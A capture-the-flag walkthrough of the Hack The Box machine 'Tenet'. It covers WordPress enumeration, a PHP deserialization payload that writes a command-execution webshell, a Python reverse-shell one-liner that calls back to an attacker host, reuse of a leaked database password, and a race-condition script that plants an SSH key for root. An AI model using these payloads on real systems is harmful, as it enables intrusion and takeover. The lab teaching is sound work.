Information
Box
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
1 $ sudo pacman -S nmap wpscan bfac
Network enumeration
Port and service scan with nmap:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Nmap 7.91 scan initiated Sun May 2 16:12:39 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.10.223 Nmap scan report for 10.10.10.223 Host is up (0.028s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA) | 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA) |_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun May 2 16:13:14 2021 -- 1 IP address (1 host up) scanned in 36.61 seconds
Web enumeration
As we are facing a Wordpress we can launch a vulnerability scan + user enumeration
with wpscan:
1 $ wpscan --url http://tenet.htb -e u
The two vulnerabilities found are authenticated so we can't exploit them.
Two users are found: neil
, protagonist
.
It's possible to try to bruteforce the password for those two users but it's not very efficient:
1 $ wpscan --url http://tenet.htb --no-banner -U users.txt -P /usr/share/wordlists/passwords/rockyou.txt
I tried to find any vhost but without success:
1 $ ffuf -u http://tenet.htb/ -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:NORAJ -H 'Host: NORAJ.tenet.htb' -fs 10918
There is an interesting comment on wordpress:
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
A post is also giving another hint:
We're looking for beta testers of our new time-management software, 'Rotas'
'Rotas' will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you!
For more information regarding opting-in, watch this space.
So I tried to find some backup files with ffuf and bfac but I only got some false positives.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ ffuf -u http://tenet.htb/satorFUZZ -c -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt ... .phps [Status: 403, Size: 274, Words: 20, Lines: 10] :: Progress: [39/39] :: Job [1/1] :: 15 req/sec :: Duration: [0:00:04] :: Errors: 0 :: $ ffuf -u http://tenet.htb/rotasFUZZ -c -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt ... .phps [Status: 403, Size: 274, Words: 20, Lines: 10] :: Progress: [39/39] :: Job [1/1] :: 44 req/sec :: Duration: [0:00:02] :: Errors: 0 :: $ bfac -u http://tenet.htb/sator $ bfac -u http://tenet.htb/rotas
While you don't find there is a file sator.php hosted on tenet.htb you have to
guess it's served with the IP address http://10.10.10.223/sator.php (default fallback vhost probably).
1 2 [+] Grabbing users from text file [] Database updated
We can find the backup file with bfac:
1 2 3 4 5 6 7 $ bfac -u http://10.10.10.223/sator.php ... [i] URL: http://10.10.10.223/sator.php [$] Discovered: -> {http://10.10.10.223/sator.php.bak} (Response-Code: 200 | Content-Length: 514) [i] Findings: http://10.10.10.223/sator.php.bak (200) | (Content-Length: 514)
Web exploitation
sator.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class DatabaseExport { public $user_file = 'users.txt' ; public $data = '' ; public function update_db ( ) { echo '[+] Grabbing users from text file <br>' ; $this -> data = 'Success' ; } public function __destruct ( ) { file_put_contents (__DIR__ . '/' . $this ->user_file, $this ->data); echo '[] Database updated <br>' ; } } $input = $_GET ['arepo' ] ?? '' ;$databaseupdate = unserialize ($input );$app = new DatabaseExport ;$app -> update_db ();?>
There is a PHP deserialization here that allow us to upload any arbitrary content.
We can even find a similar case on security stackexchange.
My PoC to generate the serialized webshell payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class DatabaseExport { public $user_file = 'noraj.php' ; public $data = '<?php system($_GET["cmd"])?>' ; } $klass = new DatabaseExport ();$payload = serialize ($klass );echo $payload ;
Here the URL-encoded form:
http://10.10.10.223/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"noraj.php";s:4:"data";s:28:"<?php system($_GET["cmd"])?>";}
Then we can access the webshell and execute a command: http://10.10.10.223/noraj.php?cmd=id
1 uid=33(www-data) gid=33(www-data) groups=33(www-data)
We know the upload and command exec works so let's execute a reverse shell:
1 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.44",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
We receive it on our reverse shell:
1 2 3 4 5 6 7 $ pwncat -l 9999 -vv INFO: Listening on :::9999 (family 10/IPv6, TCP) INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP) id INFO: Client connected from 10.10.10.223:59112 (family 2/IPv4, TCP) /bin/sh: 0: can't access tty; job control turned off $ uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat /etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:115:MySQL Server,,,:/nonexistent:/bin/false neil:x:1001:1001:neil,,,:/home/neil:/bin/bash
Shell upgrade
/var/www/html/wordpress
1 2 3 4 5 6 7 8 9 10 ... define ( 'DB_USER' , 'neil' );define ( 'DB_PASSWORD' , 'Opera2112' );define ( 'DB_HOST' , 'localhost' );...
We can re-use DB password over SSH: ssh neil@tenet.htb
.
Elevation of privilege (EoP): from neil to root
1 2 3 4 5 6 7 $ sudo -l Matching Defaults entries for www-data on tenet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\: User www-data may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
A script can be run as root via sudo: /usr/local/bin/enableSSH.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #!/bin/bash checkAdded () { sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then /bin/echo "Successfully added $sshName to authorized_keys file!" else /bin/echo "Error in adding $sshName to authorized_keys file!" fi } checkFile () { if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then /bin/echo "Error in creating key file!" if [[ -f $1 ]]; then /bin/rm $1 ; fi exit 1 fi } addKey () { tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) (umask 110; touch $tmpName ) /bin/echo $key >>$tmpName checkFile $tmpName /bin/cat $tmpName >>/root/.ssh/authorized_keys /bin/rm $tmpName } key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu" addKey checkAdded
Since mktemp
will create a random file we need to make a race condition
to write our SSH pub key into it.
1 2 3 4 5 6 7 8 #!/bin/bash key='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINDGLndVd+2+y7FE7nVTrMtBvPiLNTMgObVw8s7d9B8n noraj@penarch' while true do echo $key | tee /tmp/ssh-* > /dev/null done
We execute that while running sudo /usr/local/bin/enableSSH.sh
.
Several tries may be necessary because race conditions doesn't always work the 1st time.
Then we can connect as root.
ssh root@tenet.htb -i ~/.ssh/id_ed25519